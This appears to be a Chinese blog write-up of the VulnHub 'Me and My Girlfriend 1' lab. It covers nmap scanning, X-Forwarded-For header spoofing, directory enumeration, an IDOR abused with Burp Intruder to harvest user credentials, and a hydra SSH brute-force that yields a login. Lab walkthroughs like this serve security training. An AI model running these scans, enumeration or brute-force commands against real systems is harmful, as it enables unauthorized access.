vulnhub_me_and_my_girlfriend_1_WP

靶机下载地址https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

还是老样子ip a

nmap -sn 192.168.0.0/24 拿一下靶机的ip 192.168.0.7

nmap –min-rate 10000 192.168.0.7 && nmap -A -p- 192.168.0.7 浅度扫描和深度扫描

访问一下80发现是一个这样的页面

f12看到他说要x-forwarded-for头然后安装一下这个插件设置如下图这样就可以访问了

http://192.168.0.7/index.php?page=index 去看到下面的Register点一下注册一个账号我这里的话已经注册过了用户名admin 密码admin 邮箱admin@123.com 然后我直接登录

dirb http://192.168.0.7/ 扫描一下目录发现有/config /robots.txt /misc 然后都访问一下

访问/config发现有一个config.php 接着访问一下config.php也是没有东西‘

访问一下/misc发现有一个process.php接着访问一下process.php也是没有什么东西

访问一下/robots.txt发现有一个heyhoo.txt接着访问一下heyhoo.txt发现出来一个Great! What you need now is reconn, attack and got the shell 翻译过来就是非常好你现在需要继续去侦察去攻击他们拿到shell吧

http://192.168.0.7/index.php?page=profile&user_id=12 当id等于1的时候他会出现其他的用户名和密码应该会有一个水平越权漏洞故我们可以用bp去爆破一下

bp拦截以后发送到Intruder里面在payloads 把payload type选择为Numbers Number range 下面的from 输入1 to输入12 step输入1 然后id=1哪里鼠标右键点Add payload position

他爆破出来的话有很多用户名和密码我这边的话都写出来你们直接复制就可以然后nano username && nano password 把下面的用户名和密码复制进去

用户名

eweuhtandingan
aingmaung
sundatea
sedihaingmah
alice
abdikasepak

密码

skuyatuh
qwerty!!!
indONESia
cedihhihihi
4lic3
dorrrrr

hydra -L username -P password ssh://192.168.0.7 -t 5 爆破拿到一个用户名alice 密码4lic3

ssh alice@192.168.0.7 直接进去

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部